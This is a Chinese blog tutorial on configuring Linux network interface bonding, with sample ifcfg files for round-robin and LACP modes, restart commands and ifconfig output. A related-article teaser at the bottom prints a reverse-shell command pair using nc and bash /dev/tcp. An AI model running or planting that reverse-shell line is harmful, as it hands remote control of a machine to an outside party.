首页 > 系统相关 >Linux 网卡Bonding配置

Linux 网卡Bonding配置

时间:2024-01-23 10:46:47浏览次数:20  
标签:overruns errors RX bytes 接口 网卡 Bonding dropped Linux

当在Linux系统上使用Bonding技术时,实际上是将多个物理网络接口(也称为Slave接口)绑定在一起,形成一个虚拟的Bond接口。这个Bond接口可以提高网络的可靠性和性能,有助于负载均衡和容错。

配置Linux系统上Bonding的步骤:

步骤 1:加载Bonding模块

在Linux内核中,Bonding功能是通过一个模块实现的,因此首先需要确保该模块已加载。可以使用以下命令加载Bonding模块:

modprobe bonding

如果要使这个设置永久生效,可以将bonding添加到系统的模块配置文件中,例如,在/etc/modules中添加一行:

bonding

步骤 2:配置Bond接口

编辑Bond接口的配置文件,通常是/etc/network/interfaces或/etc/sysconfig/network-scripts/ifcfg-bondX(X是Bond接口的编号)。在配置文件中,指定Bond接口的基本信息和所使用的Bonding模式。

DEVICE=bond0
TYPE=Bond
# mode=balance-rr:这是Bonding接口的工作模式,指定了使用的负载均衡模式。
# 在这里,balance-rr 表示轮询模式(Round Robin)。
# 在轮询模式下,传输的数据包在可用的Slave接口之间轮流分配,实现负载均衡。这可以增加带宽,并提高网络性能。
# miimon=100:这是监测间隔的设置。miimon 指定了Bond接口监测Slave接口是否正常工作的时间间隔,单位是毫秒。在这里,miimon=100 表示每100毫秒检查一次Slave接口的状态。如果在这个间隔内没有从Slave接口收到任何数据包,Bond接口将认为该接口出现故障,并将流量从故障的接口转移到其他正常工作的接口。
# BONDING_OPTS="mode=balance-rr miimon=100" 


# mode=4:这指定了Bonding接口的工作模式。在这里,mode=4 表示使用的是802.3ad(LACP)模式。
# 这是一种聚合模式,使用IEEE 802.3ad标准的链路聚合控制协议(LACP)。在这种模式下,多个物理接口被聚合成一个逻辑接口,以提高带宽和容错性。
# miimon=100:这是监测间隔的设置,与之前解释的一样。miimon=100 表示每100毫秒检查一次Slave接口的状态。
# xmit_hash_policy=layer3+4:这个选项指定了传输哈希的策略,用于决定如何在Slave接口之间分配传输的数据包。
# 在这里,layer3+4 表示使用Layer 3(IP地址)和Layer 4(端口号)信息进行哈希计算。这样可以在负载均衡时更精确地分配流量。
# lacp_rate=1:这是LACP协议的速率设置。lacp_rate=1 表示LACP的协商速率为快速(fast),
# 也就是每秒发送一次LACP协商包。这有助于更快地检测链路状态的变化。
# 这个配置的目的是在Bond接口上启用802.3ad(LACP)模式,使用特定的传输哈希策略,
# 并配置快速的LACP协商速率以提高链路的快速故障检测和恢复。
BONDING_OPTS="mode=4 miimon=100 xmit_hash_policy=layer3+4 lacp_rate=1"
IPADDR=IP
NETMASK=IP
GATEWAY=IP
BOOTPROTO=none
ONBOOT=yes
DEVICE=bond0 #指定Bond接口的名称。
TYPE=Bond #指定接口类型为Bond。
BONDING_MASTER=yes #表示这是一个Bond接口。
BOOTPROTO=none #禁用自动配置IP地址。
ONBOOT=yes #表示接口在系统启动时自动激活。

步骤 3:配置Slave接口

配置每个物理网络接口(Slave接口),这些接口将绑定到Bond接口上。编辑每个Slave接口的配置文件,通常是/etc/network/interfaces或/etc/sysconfig/network-scripts/ifcfg-ethX。

DEVICE=eth0
TYPE=Ethernet
BOOTPROTO=none
ONBOOT=yes
MASTER=bond0
SLAVE=yes
DEVICE=eth0 #指定物理接口的名称。
TYPE=Ethernet #指定接口类型为以太网。
BOOTPROTO=none #禁用自动配置IP地址。
ONBOOT=yes #表示接口在系统启动时自动激活。
MASTER=bond0 #指定接口绑定到哪个Bond接口上。
SLAVE=yes #表示这是一个Slave接口。

重复以上步骤,为每个物理网络接口创建相应的Slave接口。

步骤 4:重启网络服务或系统
根据不同的Linux发行版,使用适当的命令来重启网络服务,以应用新的配置。例如:

service network restart    # 对于Red Hat / CentOS
systemctl restart network  # 对于Systemd-based系统

或者,也可以直接重启系统。

请注意,以上步骤中的配置文件路径和文件名可能会因Linux发行版的不同而有所变化。确保查阅并根据你的系统进行适当的配置。如果系统使用了NetworkManager,可能需要禁用它或相应地配置。

配置结果

· 用6张物理网卡分别做2个bond对应内网和外网

ifconfig
bond0: flags=5187<UP,BROADCAST,RUNNING,MASTER,MULTICAST>  mtu 1500
        inet 内网IP  netmask 255.255.255.192  broadcast xxxxx
        inet6 fe80::22e:c7ff:fede:bbec  prefixlen 64  scopeid 0x20<link>
        ether 00:2e:c7:de:bb:ec  txqueuelen 1000  (Ethernet)
        RX packets 246355998028  bytes 208303790741491 (189.4 TiB)
        RX errors 0  dropped 3816775  overruns 0  frame 0
        TX packets 202598700106  bytes 93802287439078 (85.3 TiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

bond1: flags=5187<UP,BROADCAST,RUNNING,MASTER,MULTICAST>  mtu 1500
        inet 公网IP  netmask 255.255.255.192  broadcast xxxxx
        inet6 fe80::6e44:2aff:fe11:7e7a  prefixlen 64  scopeid 0x20<link>
        ether 6c:44:2a:11:7e:7a  txqueuelen 1000  (Ethernet)
        RX packets 24873307632  bytes 16810009736133 (15.2 TiB)
        RX errors 0  dropped 1580508  overruns 0  frame 0
        TX packets 28258917875  bytes 23112510171897 (21.0 TiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

enp2s0f0: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST>  mtu 1500
        ether 00:2e:c7:de:bb:ec  txqueuelen 1000  (Ethernet)
        RX packets 124158342391  bytes 104466083013418 (95.0 TiB)
        RX errors 0  dropped 2640312  overruns 0  frame 0
        TX packets 98452382047  bytes 45841408859483 (41.6 TiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

enp2s0f1: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST>  mtu 1500
        ether 00:2e:c7:de:bb:ec  txqueuelen 1000  (Ethernet)
        RX packets 122197655638  bytes 103837707728342 (94.4 TiB)
        RX errors 0  dropped 1176462  overruns 0  frame 0
        TX packets 104146318060  bytes 47960878579921 (43.6 TiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

enp4s0f0: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST>  mtu 1500
        ether 6c:44:2a:11:7e:7a  txqueuelen 1000  (Ethernet)
        RX packets 11803693682  bytes 7781711756799 (7.0 TiB)
        RX errors 0  dropped 374624  overruns 0  frame 0
        TX packets 14381029459  bytes 11931791763557 (10.8 TiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

enp4s0f1: flags=6211<UP,BROADCAST,RUNNING,SLAVE,MULTICAST>  mtu 1500
        ether 6c:44:2a:11:7e:7a  txqueuelen 1000  (Ethernet)
        RX packets 13069613950  bytes 9028297979334 (8.2 TiB)
        RX errors 0  dropped 1205884  overruns 0  frame 0
        TX packets 13877888419  bytes 11180718408762 (10.1 TiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

enp5s0f0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether b4:96:91:25:eb:2c  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

enp5s0f1: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether b4:96:91:25:eb:2e  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

标签:overruns,errors,RX,bytes,接口,网卡,Bonding,dropped,Linux
From: https://www.cnblogs.com/sening/p/17981815

相关文章

  • Linux清理磁盘
    1、查看磁盘信息命令:df-lh  磁盘空间已被占满2、定位最大文件目录进入到根目录,命令:cd/查看当前目录哪个文件占用空间最大,命令:du-h--max-depth=1  看到./www占用最大,进入到./www目录,接着执行命令:du-h--max-depth=1  如法炮制,看到是./path下的文件占用空间......
  • 详解Linux双网卡绑定之bond0
    1、什么是bond?网卡bond是通过多张网卡绑定为一个逻辑网卡,实现本地网卡的冗余,带宽扩容和负载均衡,在生产场景中是一种常用的技术。Kernels2.4.12及以后的版本均供bonding模块,以前的版本可以通过patch实现。2、实现原理:网卡工作在混杂(promisc)模式,接收到达网卡的所有数据包,tcp......
  • linux中的三剑客之一:grep
    一、介绍:grep:是一种Unix/Linux命令,它可以在文本文件中搜索指定的字符串,并显示匹配的行。它可以使用正则表达式来搜索文本,并可以搜索多个文件。二、命令:参数说明-b在输出的每一行显示包含匹配字符串的行在文件中的字节偏移量-c(count)仅显示找到的行数-i(ignore)......
  • 使用Docker安装各种靶场(Linux系统)
    搭建pikachu搜索关于pikachu的镜像dockersearchpikachu选择start最多的镜像,这里选择area39/pikachu下载pikachu镜像dockerpullarea39/pikachu遇到拉取慢的情况下可以使用docker的国内镜像加速,创建或修改/etc/docker/daemon.json,内容如下:如果没有,创建文档sudotouc......
  • 【linux-centos】更新yum源
    大家都知道Centos8于2021年年底停止了服务,大家再在使用yum源安装时候,出现下面错误“错误:Failedtodownloadmetadataforrepo‘AppStream’:Cannotprepareinternalmirrorlist:NoURLsinmirrorlist” sed-i's/mirrorlist/#mirrorlist/g'/etc/yum.repos.d/CentOS-*......
  • linux 开启ntp
    先确定有没有装ntp服务rpm-qantp如果没有安装,则需要部署ntp服务:yum2yum源IP ntp(如果本地有挂载yum源,直接yuminstallntp即可)1、修改/etc/ntp.conf内容,本目录下的配置拷过去进行修改。vim/etc/ntp.conf#创建日志路径#mkdir-p/data/ntpdata------------------......
  • Linux开发相关命令整理
    1.反转shell2.ldd3.objdump4.ldconfig5.telnet6.nc7.netstat8.ss9.tcpdump1.反转shell攻击者主机执行:nc-nlvp<port>被攻击者执行:bash-i>&/dev/tcp/<ip>/<port>0>&1也可以用于把局域网下主机终端暴露给公网下,这在特定场景下比较方便2.ldd用于查......
  • centos 查看 PCIE 接口 PCI-E Linux下查看PCIe版本及速率
    centos查看PCIE接口lspci|grep-ipcie#lspci|grep-ipcie01:00.0Ethernetcontroller:BroadcomInc.andsubsidiariesNetXtremeBCM57202-portGigabitEthernetPCIe01:00.1Ethernetcontroller:BroadcomInc.andsubsidiariesNetXtremeBCM57202-portGig......
  • 能用到退休的600条Linux命令,助你解决95%的问题
    你们好,我的网工朋友。曾经传统网工的工作中,很少用到Linux,但网络技术的更新,搞网络,多少得会点这玩意儿。正所谓书到用时方恨少,命令到用时全忘了,Linux命令真心多到爆炸。这不,今天就给你来一篇史上最全Linux命令总结的文章,命令有点多,一不小心整理了2w字,建议先收藏后阅读哈。今日文章阅......
  • windows本地免密登录linux
    环境:虚拟机CentOS7.5\本地Windows11准备:虚拟机已生成秘钥1、在windows本地生成密钥ssh-keygen-trsa密钥生成到 C:\Users\Administrator\.ssh2、上传公钥文件至虚拟机3、公钥追加至虚拟机.ssh/authorized_keys中 本地Windows免密登录虚拟机_windows终端免密登录......